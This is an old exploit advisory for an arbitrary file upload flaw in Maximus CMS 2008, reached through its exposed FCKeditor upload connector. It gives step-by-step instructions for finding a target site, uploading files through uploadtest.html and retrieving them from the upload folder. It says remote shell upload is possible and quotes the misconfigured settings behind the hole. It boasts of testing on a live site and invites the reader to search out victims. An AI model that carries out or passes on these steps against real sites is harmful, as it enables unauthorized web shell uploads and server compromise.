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2011/01/10

maximus-cms (fckeditor) Arbitrary File Upload Vulnerability

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maximus-cms (fckeditor) Arbitrary File Upload Vulnerability
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____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ Author:eidelweiss
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/


| |
/|_________________________________________________________________________|\
/ \
/===============================================================================\
|Exploit Title: maximus-cms (fckeditor) Arbitrary File Upload Vulnerability |
|develop: http://www.php-maximus.org |
|Download: http://ftp1.toocharger.com/scgdnLI/maximus-cms-2008_5129.zip |
|Version: Maximus 2008 CMS: Web Portal System (v.1.1.2) |
|Tested On: Live site |
|Dork: use your skill and play your imagination :P |
|Author: eidelweiss |
|contact: eidelweiss[at]windowslive[dot]com |
|Home: http://www.eidelweiss.info |
| |
| |
| |
\===============================================================================/
/ NOTHING IMPOSSIBLE IN THIS WORLD EVEN NOBODY`s PERFECT \
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exploit # path/html/FCKeditor/editor/filemanager/connectors/uploadtest.html

[!] first find the target host

ex: www.site.com or www.target.com/maximus

then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html#

[!] select # "php" as "File Uploader" to use... and select "file" as Resource Type

[!] Upload There Hacked.txt or whatever.txt And Copy the Output Link or

[!] after upload without any errors your file will be here: /FCKeditor/upload/

ex: http://site.com//FCKeditor/upload/whatever.txt


NB: remote shell upload also possible !!!

Read the config.php file in "/FCKeditor/editor/filemanager/connectors/php/"

----------
$Config['Enabled'] = true ; // <=


// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/FCKeditor/upload/' ;
----------

and also $Config['AllowedExtensions']['File']

with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked


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